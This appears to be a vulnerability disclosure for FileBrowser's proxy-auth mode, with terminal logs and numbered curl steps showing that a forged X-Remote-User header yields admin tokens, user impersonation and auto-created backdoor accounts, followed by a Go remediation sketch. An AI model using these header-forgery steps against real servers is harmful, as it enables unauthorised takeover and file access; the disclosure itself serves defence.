Details
root@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \
-H "X-Auth: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM"
403 Forbidden
root@LAPTOP-VUMRCEKO:~#
root@LAPTOP-VUMRCEKO:~#
root@LAPTOP-VUMRCEKO:~# FORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
-H "X-Remote-User: admin")
root@LAPTOP-VUMRCEKO:~#
root@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \
-H "X-Auth: $FORGED_TOKEN" | python3 -m json.tool
{
"signup": false,
"hideLoginButton": true,
"createUserDir": false,
"minimumPasswordLength": 12,
"userHomeBasePath": "/users",
"defaults": {
"scope": ".",
"locale": "en",
"viewMode": "mosaic",
"singleClick": false,
"redirectAfterCopyMove": true,
"sorting": {
"by": "",
"asc": false
},
"perm": {
"admin": false,
"execute": true,
"create": true,
"rename": true,
"modify": true,
"delete": true,
"share": true,
"download": true
},
"commands": [],
"hideDotfiles": false,
"dateFormat": false,
"aceEditorTheme": ""
},
"authMethod": "proxy",
"rules": [],
"branding": {
"name": "",
"disableExternal": false,
"disableUsedPercentage": false,
"files": "",
"theme": "",
"color": ""
},
"tus": {
"chunkSize": 10485760,
"retryCount": 5
},
"shell": [
"/bin/sh",
"-c"
],
"commands": {
"after_copy": [],
"after_delete": [],
"after_rename": [],
"after_save": [],
"after_upload": [],
"before_copy": [],
"before_delete": [],
"before_rename": [],
"before_save": [],
"before_upload": []
}
}
root@LAPTOP-VUMRCEKO:~#
<img width="1487" height="757" alt="image" src="https://github.com/user-attachments/assets/a777321e-14a4-4720-9f8e-423d5f7cdf74" />
Prerequisites
- FileBrowser with proxy auth enabled:
filebrowser config set --auth.method=proxy --auth.header=X-Remote-User
- Server is reachable directly (not exclusively behind the reverse proxy)
Step 1: Confirm attacker (non-admin) is blocked
# Using a legitimate non-admin JWT token:
curl -s http://localhost:8085/api/settings \
-H "X-Auth: <ATTACKER_JWT_TOKEN>"
Result: 403 Forbidden — non-admin users cannot access /api/settings
Step 2: Forge admin identity — no credentials needed
# Just one header, no password:
FORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
-H "X-Remote-User: admin")
echo "$FORGED_TOKEN"
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjoxLC... (608 bytes)
Result: Valid JWT token returned for admin user (ID: 1, perm.admin: true)
Step 3: Access admin-only endpoints with forged token
# Read full server configuration (admin-only):
curl -s http://localhost:8085/api/settings \
-H "X-Auth: $FORGED_TOKEN"
Result: 200 OK - complete server settings returned:
{
"authMethod": "proxy",
"shell": ["/bin/sh", "-c"],
"signup": false,
"defaults": { "perm": { "admin": false, "execute": true, ... } },
...
}
Step 4: Enumerate all user accounts
curl -s http://localhost:8085/api/users \
-H "X-Auth: $FORGED_TOKEN"
Result: All user accounts with full details (usernames, permissions, scopes, commands)
Step 5: Impersonate any other user
# Impersonate "testuser" — access their files without knowing their password:
VICTIM_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
-H "X-Remote-User: testuser")
curl -s http://localhost:8085/api/resources/ \
-H "X-Auth: $VICTIM_TOKEN"
Result: Full file listing of testuser's scope
Step 6: Auto-create a new user account
# This username doesn't exist — server creates it automatically:
NEW_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
-H "X-Remote-User: backdoor_account")
Result: New user backdoor_account created in the database with default permissions, JWT returned
Validated Results
Tested against filebrowser/filebrowser:latest Docker image on 2026-03-09:
| Test | Result |
|------|--------|
| Attacker token (non-admin) -> GET /api/settings | `403 Forbidden` (blocked) |
| Forged header X-Remote-User: admin -> POST /api/login | `200 OK` — valid admin JWT (608 bytes) |
| Forged admin token -> GET /api/settings | `200 OK` — full server config returned |
| Forged admin token -> GET /api/users | `200 OK` — all user accounts listed |
| Forged header X-Remote-User: testuser | `200 OK` — testuser JWT, files accessible |
| Forged header X-Remote-User: nonexistent_user | `200 OK` — new user auto-created, JWT returned |
Impact
An unauthenticated attacker who can reach the FileBrowser instance directly can:
- Full admin takeover — impersonate the admin user and gain complete control
- Read all server settings — shell configuration, permissions, branding, rules
- Enumerate and impersonate all users — access every user's files without credentials
- Create unlimited backdoor accounts — auto-creation generates persistent accounts
- Modify server configuration — enable command execution, change shell, alter rules
- Chain with other vulnerabilities — gain admin access -> enable shell mode -> achieve RCE
Attack cost: Zero credentials. One HTTP header.
Suggested Remediation
Fix 1: Add trusted proxy IP validation (recommended)
type ProxyAuth struct {
Header string `json:"header"`
TrustedProxies []string `json:"trustedProxies"` // New: list of trusted proxy IPs/CIDRs
}
func (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) {
// Verify request originates from a trusted reverse proxy
clientIP := realip.FromRequest(r)
if !a.isTrustedProxy(clientIP) {
return nil, fmt.Errorf("proxy auth: request from untrusted source %s", clientIP)
}
username := r.Header.Get(a.Header)
if username == "" {
return nil, os.ErrPermission
}
user, err := usr.Get(srv.Root, username)
if errors.Is(err, fberrors.ErrNotExist) {
if a.AutoCreateUsers { // Make opt-in
return a.createUser(usr, setting, srv, username)
}
return nil, os.ErrPermission
}
return user, err
}